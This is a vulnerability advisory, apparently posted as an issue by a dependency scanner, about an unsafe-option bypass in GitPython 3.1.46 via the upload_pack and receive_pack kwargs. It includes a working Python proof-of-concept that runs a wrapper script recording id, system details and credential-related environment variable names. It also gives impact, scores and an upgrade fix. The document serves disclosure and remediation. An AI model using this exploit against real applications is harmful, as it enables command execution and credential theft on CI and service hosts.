You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=... becomes --upload-pack=...
receive_pack=... becomes --receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
remote.fetch(upload_pack=helper) is allowed and reaches helper execution
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
Create and activate a virtual environment in the repository root:
make a new python file and put the following in there, then run it:
importosimportstatimportsubprocessimporttempfilefromgitimportRepofromgit.excimportUnsafeOptionError# Setup: create isolated repositories so the PoC uses a normal fetch flow.base=tempfile.mkdtemp(prefix="gp-poc-risk-")
origin=os.path.join(base, "origin.git")
producer=os.path.join(base, "producer")
victim=os.path.join(base, "victim")
proof=os.path.join(base, "proof.txt")
wrapper=os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work# you could also do something like an SSH reverse shell, really anythingwithopen(wrapper, "w") asf:
f.write(f"""#!/bin/sh{{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true}} > '{proof}'exec git-upload-pack "$@"""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
withopen(os.path.join(producer, "README"), "w") asf:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo=Repo(victim)
remote=repo.remote("origin")
# the literal Git option name is properly blocked.try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
exceptUnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact# if you do the "touch /tmp/proof" the script will crash, but the file will have been createdremote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
Expected result:
The script prints control=blocked
The script prints proof_exists True ...
The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()
From a severity perspective, this could lead to
Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
Modification of repositories, build outputs, or release artifacts
Lateral movement from CI/CD workers or automation hosts
Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Affected component
The vulnerability is in pkg:pypi/gitpython@3.1.46, found in artifacts source.
Recommended fix
Upgrade to version 3.1.47 or later.
# Update all vulnerable python packages
pip install pip-audit
pip-audit
# Update only this package
pip install gitpython==3.1.47
Additional guidance for mitigating vulnerabilities
The vulnerability is in a direct dependency of your project.
EPSS
0.00 %
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT
Not available
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE
8.8
- Exploiting this vulnerability significantly impacts availability. - Exploiting this vulnerability significantly impacts integrity. - Exploiting this vulnerability significantly impacts confidentiality.
CVSS-B
8.8
- The vulnerability can be exploited over the network without needing physical access. - It is easy for an attacker to exploit this vulnerability. - An attacker needs basic access or low-level privileges. - No user interaction is needed for the attacker to exploit this vulnerability. - The impact is confined to the system where the vulnerability exists. - There is a high impact on the confidentiality of the information. - There is a high impact on the integrity of the data. - There is a high impact on the availability of the system.
GHSA-rpm5-65cw-6hj4 found in pypi/gitpython@3.1.46
Important
Risk:
4.05 (Medium)CVSS:
8.8Description
Summary
GitPython blocks dangerous Git options such as
--upload-packand--receive-packby default, but the equivalent Python kwargsupload_packandreceive_packbypass that check. If an application passes attacker-controlled kwargs intoRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push(), this leads to arbitrary command execution even whenallow_unsafe_optionsis left at its default value ofFalse.Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198That validation is performed by
Git.check_unsafe_options()ingit/cmd.py:948-961. The validator correctly blocks option names such asupload-pack,receive-pack, andexec.Later, GitPython converts Python kwargs into Git command-line flags in
Git.transform_kwarg()atgit/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper executionThe same bypass works for:
This does not appear to affect every unsafe option. For example,
exec=is already rejected because the raw kwarg nameexecmatches the blocked option name before normalization.Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activatecontrol=blockedproof_exists True ...id, working directory, argv, and selected environment variable namesExample output:
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into
--upload-pack.Impact
Who is impacted:
**kwargsWhat the attacker needs to control:
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()From a severity perspective, this could lead to
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Affected component
The vulnerability is in
pkg:pypi/gitpython@3.1.46, found in artifactssource.Recommended fix
Upgrade to version 3.1.47 or later.
Additional guidance for mitigating vulnerabilities
Visit our guides on devguard.org
See more details...
Path to component
%%{init: { 'theme':'base', 'themeVariables': { 'primaryColor': '#F3F3F3', 'primaryTextColor': '#0D1117', 'primaryBorderColor': '#999999', 'lineColor': '#999999', 'secondaryColor': '#ffffff', 'tertiaryColor': '#ffffff' } }}%% flowchart TD Your_application(["Your application"]) --- pkg_pypi_gitpython_3_1_46(["pkg:pypi/gitpython\@3.1.46"]) Your_application(["Your application"]) --- pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"]) pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"]) --- pkg_pypi_gitpython_3_1_46(["pkg:pypi/gitpython\@3.1.46"]) Your_application(["Your application"]) --- pkg_pypi_devguard_scanner_tools_0_1_0(["pkg:pypi/devguard-scanner-tools\@0.1.0"]) pkg_pypi_devguard_scanner_tools_0_1_0(["pkg:pypi/devguard-scanner-tools\@0.1.0"]) --- pkg_pypi_checkov_3_2_517(["pkg:pypi/checkov\@3.2.517"]) classDef default stroke-width:2px10.00 %Not available8.8- Exploiting this vulnerability significantly impacts integrity.
- Exploiting this vulnerability significantly impacts confidentiality.
8.8- It is easy for an attacker to exploit this vulnerability.
- An attacker needs basic access or low-level privileges.
- No user interaction is needed for the attacker to exploit this vulnerability.
- The impact is confined to the system where the vulnerability exists.
- There is a high impact on the confidentiality of the information.
- There is a high impact on the integrity of the data.
- There is a high impact on the availability of the system.
More details can be found in DevGuard
Interact with this vulnerability
You can use the following slash commands to interact with this vulnerability:
👍 Reply with this to acknowledge and accept the identified risk.
🔁 Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.